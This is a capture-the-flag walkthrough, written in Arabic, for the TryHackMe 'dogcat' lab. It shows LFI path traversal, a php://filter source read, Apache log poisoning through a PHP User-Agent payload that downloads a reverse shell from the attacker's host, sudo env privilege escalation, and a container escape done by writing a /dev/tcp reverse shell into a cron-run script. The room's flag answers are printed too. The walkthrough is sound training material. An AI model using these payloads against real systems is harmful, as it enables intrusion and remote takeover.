Dogcat Walkthrough - THM


العنوان: dogcat
الرابط: https://tryhackme.com/room/dogcat
الوصف: I made a website where you can look at pictures of dogs and/or cats! Exploit a PHP application via LFI and break out of a docker container.
الصعوبة: متوسطة
ip = 10.10.153.226
انتبه ، إذا رأيت عنوان IP تم تغييره ، فأنا قمت بإيقاف تشغيل الجهاز.
بدء فحص nmap
nmap -sV -oN nmap.out 10.10.243.72
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
80/tcp open http Apache httpd 2.4.38 ((Debian))
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
لقد ألقينا نظرة على موقع الويب حيث يتيح لنا عرض بعض صور الكلاب أو القطط
بإلقاء نظرة على عنوان url ، نرى أن الصفحة تشغل ملف php يعرض الصور المخزنة في مجلد dog أو cats الذي يمرر القيمة "dog" أو "cat" إلى المتغير "view".
لنجرب LFI هنا...... للتوضيح إذا كان بإمكاننا عرض etc/passwd/ <<<<<< هكذا :
http://10.10.243.72/?view=../../../../../../../../etc/passwd
لم ينحج , أنه يُسمح فقط cat أو dog.
قمت بتعديل عنوان URL ليكون:
http://10.10.243.72/?view=dog/../../../../../../../../etc/passwd
النتيجة التي أحصل عليها تظهر بعض المعلومات الشيقة للغاية
يوجد index.php هنا والذي يحتوي على include() function
لذلك أحاول الوصول إليه عن طريق وضع عنوان URL على النحو التالي:
http://10.10.243.72/?view=dog/../index
الآن لنري ما الذي يحدث:
عادةً ما ينشأ هذا الخطأ عند محاولة الإعلان عن نفس function مرتين ، والذي من المحتمل أن يحدث في هذه الحالة بسبب include() function. لأسترجاع index.php ، لنجعل PHP تقوم بتشفير Base64 للملف قبل استخدامه في include() function هكذا:
PayloadsAllTheThings https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/File%20Inclusion#lfi--rfi-using-wrappers
http://10.10.243.72/?view=php://filter/convert.base64-encode/resource=dog/../index
حسنًا ، لنقم الآن بفك تشفير string يعطينا source code لـ index.php
echo PCFET0NUWVBFIEhUTUw+CjxodG1sPgoKPGhlYWQ+CiAgICA8dGl0bGU+ZG9nY2F0PC90aXRsZT4KICAgIDxsaW5rIHJlbD0ic3R5bGVzaGVldCIgdHlwZT0idGV4dC9jc3MiIGhyZWY9Ii9zdHlsZS5jc3MiPgo8L2hlYWQ+Cgo8Ym9keT4KICAgIDxoMT5kb2djYXQ8L2gxPgogICAgPGk+YSBnYWxsZXJ5IG9mIHZhcmlvdXMgZG9ncyBvciBjYXRzPC9pPgoKICAgIDxkaXY+CiAgICAgICAgPGgyPldoYXQgd291bGQgeW91IGxpa2UgdG8gc2VlPzwvaDI+CiAgICAgICAgPGEgaHJlZj0iLz92aWV3PWRvZyI+PGJ1dHRvbiBpZD0iZG9nIj5BIGRvZzwvYnV0dG9uPjwvYT4gPGEgaHJlZj0iLz92aWV3PWNhdCI+PGJ1dHRvbiBpZD0iY2F0Ij5BIGNhdDwvYnV0dG9uPjwvYT48YnI+CiAgICAgICAgPD9waHAKICAgICAgICAgICAgZnVuY3Rpb24gY29udGFpbnNTdHIoJHN0ciwgJHN1YnN0cikgewogICAgICAgICAgICAgICAgcmV0dXJuIHN0cnBvcygkc3RyLCAkc3Vic3RyKSAhPT0gZmFsc2U7CiAgICAgICAgICAgIH0KCSAgICAkZXh0ID0gaXNzZXQoJF9HRVRbImV4dCJdKSA/ICRfR0VUWyJleHQiXSA6ICcucGhwJzsKICAgICAgICAgICAgaWYoaXNzZXQoJF9HRVRbJ3ZpZXcnXSkpIHsKICAgICAgICAgICAgICAgIGlmKGNvbnRhaW5zU3RyKCRfR0VUWyd2aWV3J10sICdkb2cnKSB8fCBjb250YWluc1N0cigkX0dFVFsndmlldyddLCAnY2F0JykpIHsKICAgICAgICAgICAgICAgICAgICBlY2hvICdIZXJlIHlvdSBnbyEnOwogICAgICAgICAgICAgICAgICAgIGluY2x1ZGUgJF9HRVRbJ3ZpZXcnXSAuICRleHQ7CiAgICAgICAgICAgICAgICB9IGVsc2UgewogICAgICAgICAgICAgICAgICAgIGVjaG8gJ1NvcnJ5LCBvbmx5IGRvZ3Mgb3IgY2F0cyBhcmUgYWxsb3dlZC4nOwogICAgICAgICAgICAgICAgfQogICAgICAgICAgICB9CiAgICAgICAgPz4KICAgIDwvZGl2Pgo8L2JvZHk+Cgo8L2h0bWw+Cg== | base64 -d
هذا الكود
<!DOCTYPE HTML>
<html>
<head>
<title>dogcat</title>
<link rel="stylesheet" type="text/css" href="/style.css">
</head>
<body>
<h1>dogcat</h1>
<i>a gallery of various dogs or cats</i>
<div>
<h2>What would you like to see?</h2>
<a href="/?view=dog"><button id="dog">A dog</button></a> <a href="/?view=cat"><button id="cat">A cat</button></a><br>
<?php
function containsStr($str, $substr) {
return strpos($str, $substr) !== false;
}
$ext = isset($_GET["ext"]) ? $_GET["ext"] : '.php';
if(isset($_GET['view'])) {
if(containsStr($_GET['view'], 'dog') || containsStr($_GET['view'], 'cat')) {
echo 'Here you go!';
include $_GET['view'] . $ext;
} else {
echo 'Sorry, only dogs or cats are allowed.';
}
}
?>
</div>
</body>
</html>
المثير هنا هو أنه يسمح لنا بتمرير متغير "ext" يحتوي على امتداد الملف. عند عدم ضبط المتغير ، فإنه يضيف الامتداد الافتراضي لـ php.
لذلك نتحقق الآن مما إذا كان بإمكاننا قراءة ملف etc/passwd/ بهذا request التالي
http://10.10.243.72/?view=dog/../../../../etc/passwd&ext=
جيد يمككنا قراءة محتويات الملف
نتحقق الآن مما إذا كان بإمكاننا العثور على ملف logs حيث يسجل جميع request. نجد السجلات في var/log/apache2/access.log/ اكتشفنا أن الخادم يقوم بتشغيل apache2. ونرى طلبنا الأخير هناك.
http://10.10.243.72/?view=dog/../../../../../var/log/apache2/access.log&ext=
تمامًا كما توقعت ، أحصل على محتويات access.log على النحو التالي:
الآن أحاول تنفيذ القليل من أمر . ls -la :
http://10.10.243.72/?view=ls%20-la&ext=
ومع ذلك ، أعود إلى نفس الصفحة الاولي
لمزيد من الفحص ، تحقق من access.log كما هو موضح سابقًا. يعطينا السطر المحدد معلومات حول آخر أمر أدخلناه.
هناك شيئان حاسمان لاحظهما هنا هما الحقائق التي مفادها أن أي أمر نعرضه يتم ترميزه وبالتالي لا يتم تنفيذه وأن وكيل المستخدم الخاص بنا لا يتم تنفيذه. فماذا لو كان بإمكاني كتابة بعض أكواد PHP القابلة للتنفيذ في وكيل المستخدم لدينا …….
لقد استخدمت التجشؤ للتحقق من وكيل المستخدم
"شيئان حاسمان ألاحظهما هنا هما أن أي أمر نضعه في view يتم encoded وبالتالي لا يتم تنفيذه وأن user-agent الخاص بنا لا يتم تنفيذه أيضًا. فماذا لو استطعت كتابة بعض executable PHP code في user-agent الخاص بنا...
لقد استخدمت برنامج burp للتلأكد من user-agent.
أقوم الآن بتغيير قيمة user-agent إلى "Test"
لنقم بعمل Reverse Shell
يمكننا استغلال logs في الحصزل علي reverse shell. يمكننا القيام بذلك عن طريق injecting PHP code في user-agent:
<?php file_put_contents('shell.php', file_get_contents('http://10.8.66.8/shell.php')); ?>
حسنا لنقم الان بتشغيل http server لنقل shell code الخاص بنا
https://raw.githubusercontent.com/pentestmonkey/php-reverse-shell/master/php-reverse-shell.php
لا تنسي تغير local ip
تاكد من وجودك في directory الموجود فيه php-reverse-shell.php
sudo python3 -m http.server 4433
ثم نقم بتنفيذ هذا request :
curl -A "<?php file_put_contents('php-reverse-shell.php', file_get_contents('http://10.8.66.8:4433/php-reverse-shell.php')); ?>" \
"http://10.10.243.72?view=/dog/../../../../var/log/apache2/access.log&ext"
اذا لم يتم رفع الملف في اول request قم بتنفيذه مره أخري
قم بتشغيل netcat
nc -nlvp 1234
الان قم بفتح الملف من خلال المتصفح
http://10.10.243.72/php-reverse-shell.php
الان حصلنا علي shell
البحث عن Flag 1
find / -name *flag* 2>/dev/null
listening on [any] 1234 …
connect to [10.8.66.8] from (UNKNOWN) [10.10.243.72] 47544
Linux 052d3a1ad89d 4.15.0–96-generic #97-Ubuntu SMP Wed Apr 1 03:25:46 UTC 2020 x86_64 GNU/Linux
11:41:36 up 5 min, 0 users, load average: 1.26, 1.87, 1.02
USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT
uid=33(www-data) gid=33(www-data) groups=33(www-data)
/bin/sh: 0: can't access tty; job control turned off
$ whoami
www-data
$ find / -name *flag* 2>/dev/null
/proc/sys/kernel/acpi_video_flags
/proc/kpageflags
/var/www/html/flag.php
/var/www/flag2_QMW7JvaY2LvK.txt
/usr/bin/dpkg-buildflags
/usr/local/lib/php/build/ax_check_compile_flag.m4
/usr/lib/x86_64-linux-gnu/perl/5.28.1/bits/ss_flags.ph
/usr/lib/x86_64-linux-gnu/perl/5.28.1/bits/waitflags.ph
/usr/include/x86_64-linux-gnu/asm/processor-flags.h
/usr/include/x86_64-linux-gnu/bits/ss_flags.h
/usr/include/x86_64-linux-gnu/bits/waitflags.h
/usr/include/linux/kernel-page-flags.h
/usr/include/linux/tty_flags.h
/usr/share/dpkg/buildflags.mk
/sys/devices/pnp0/00:06/tty/ttyS0/flags
/sys/devices/platform/serial8250/tty/ttyS15/flags
/sys/devices/platform/serial8250/tty/ttyS6/flags
/sys/devices/platform/serial8250/tty/ttyS23/flags
/sys/devices/platform/serial8250/tty/ttyS13/flags
/sys/devices/platform/serial8250/tty/ttyS31/flags
/sys/devices/platform/serial8250/tty/ttyS4/flags
/sys/devices/platform/serial8250/tty/ttyS21/flags
/sys/devices/platform/serial8250/tty/ttyS11/flags
/sys/devices/platform/serial8250/tty/ttyS2/flags
/sys/devices/platform/serial8250/tty/ttyS28/flags
/sys/devices/platform/serial8250/tty/ttyS18/flags
/sys/devices/platform/serial8250/tty/ttyS9/flags
/sys/devices/platform/serial8250/tty/ttyS26/flags
/sys/devices/platform/serial8250/tty/ttyS16/flags
/sys/devices/platform/serial8250/tty/ttyS7/flags
/sys/devices/platform/serial8250/tty/ttyS24/flags
/sys/devices/platform/serial8250/tty/ttyS14/flags
/sys/devices/platform/serial8250/tty/ttyS5/flags
/sys/devices/platform/serial8250/tty/ttyS22/flags
/sys/devices/platform/serial8250/tty/ttyS12/flags
/sys/devices/platform/serial8250/tty/ttyS30/flags
/sys/devices/platform/serial8250/tty/ttyS3/flags
/sys/devices/platform/serial8250/tty/ttyS20/flags
/sys/devices/platform/serial8250/tty/ttyS10/flags
/sys/devices/platform/serial8250/tty/ttyS29/flags
/sys/devices/platform/serial8250/tty/ttyS1/flags
/sys/devices/platform/serial8250/tty/ttyS19/flags
/sys/devices/platform/serial8250/tty/ttyS27/flags
/sys/devices/platform/serial8250/tty/ttyS17/flags
/sys/devices/platform/serial8250/tty/ttyS8/flags
/sys/devices/platform/serial8250/tty/ttyS25/flags
/sys/devices/virtual/net/lo/flags
/sys/devices/virtual/net/eth0/flags
/sys/module/scsi_mod/parameters/default_dev_flags
$ cat /var/www/html/flag.php
<?php
$flag_1 = "THM{Th1s_1s_N0t_4_Catdog_ab67edfa}"
?>
البحث عن Flag 2
من خلال نفس المستخدم يمكننا قراءة الملف
$ cat /var/www/flag2_QMW7JvaY2LvK.txt
THM{LF1_t0_RC3_aec3fb}
البحث عن Flag 3
لا نري الملف الخاص ب flag3 نحتاج الي عمل privilege escalation.
$ sudo -l
Matching Defaults entries for www-data on 052d3a1ad89d:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin
User www-data may run the following commands on 052d3a1ad89d:
(root) NOPASSWD: /usr/bin/env
حسنا جيد, انظر الي هذا المرجع
https://gtfobins.github.io/gtfobins/env/
sudo /usr/bin/env /bin/bash
حسنا الان انا ROOOOOOOOOT جيد جدا
find / -name *flag* 2>/dev/null
.............
..............
..................
cat /root/flag3.txt
THM{D1ff3r3nt_3nv1ronments_874112}
البحث عن Flag 4
هل نحن في container؟
عند تشغيل الامر hostname يعطيني 052d3a1ad89d وهو ما قد يدل علي اننا في container.
عند البحث في directories في root system نجد أن /opt/ يحتوي علي backups:
cd /opt
ls
backups
ls -la
total 12
drwxr-xr-x 1 root root 4096 Jul 17 11:38 .
drwxr-xr-x 1 root root 4096 Jul 17 11:37 ..
drwxr-xr-x 2 root root 4096 Apr 8 2020 backups
cd backups
ls -la
total 2892
drwxr-xr-x 2 root root 4096 Apr 8 2020 .
drwxr-xr-x 1 root root 4096 Jul 17 11:38 ..
-rwxr - r - 1 root root 69 Mar 10 2020 backup.sh
-rw-r - r - 1 root root 2949120 Jul 17 12:22 backup.tar
لنري محتوي backup.sh
cat backup.sh
#!/bin/bash
tar cf /root/container/backup/backup.tar /root/container
إذا قد تمكنت من كتابة code في ملف 'backup.sh' بحيث يتم تنفيذه تلقائياً بعد دقيقة واحدة، فقد تستفيد من ذلك للخروج من container التي نحن فيها؟
https://pentestmonkey.net/cheat-sheet/shells/reverse-shell-cheat-shee
bash -i >& /dev/tcp/10.8.66.8/4343 0>&1
حسنًا ، لنقوم بكتابة reverse shell الخاص بنا في backup.sh
printf '#!/bin/bash\nbash -i >& /dev/tcp/10.8.66.8/4343 0>&1' > backup.sh
لا تنسي تشغيل netcat
nc -lvnp 4343
┌──(elliot㉿kali)-[~]
└─$ nc -nvlp 4343
listening on [any] 4343 …
connect to [10.8.66.8] from (UNKNOWN) [10.10.243.72] 34370
bash: cannot set terminal process group (4685): Inappropriate ioctl for device
bash: no job control in this shell
root@dogcat:~# whoami
whoami
root
root@dogcat:~# ls
ls
container
flag4.txt
root@dogcat:~# cat flag4.txt
cat flag4.txt
THM{esc4l4tions_on_esc4l4tions_on_esc4l4tions_7a52b17dba6ebb0dc38bc1049bcba02d}
root@dogcat:~#
انتهينا من هذا التحدي من TryHackMe لنتقابل في تحدي جدبد......................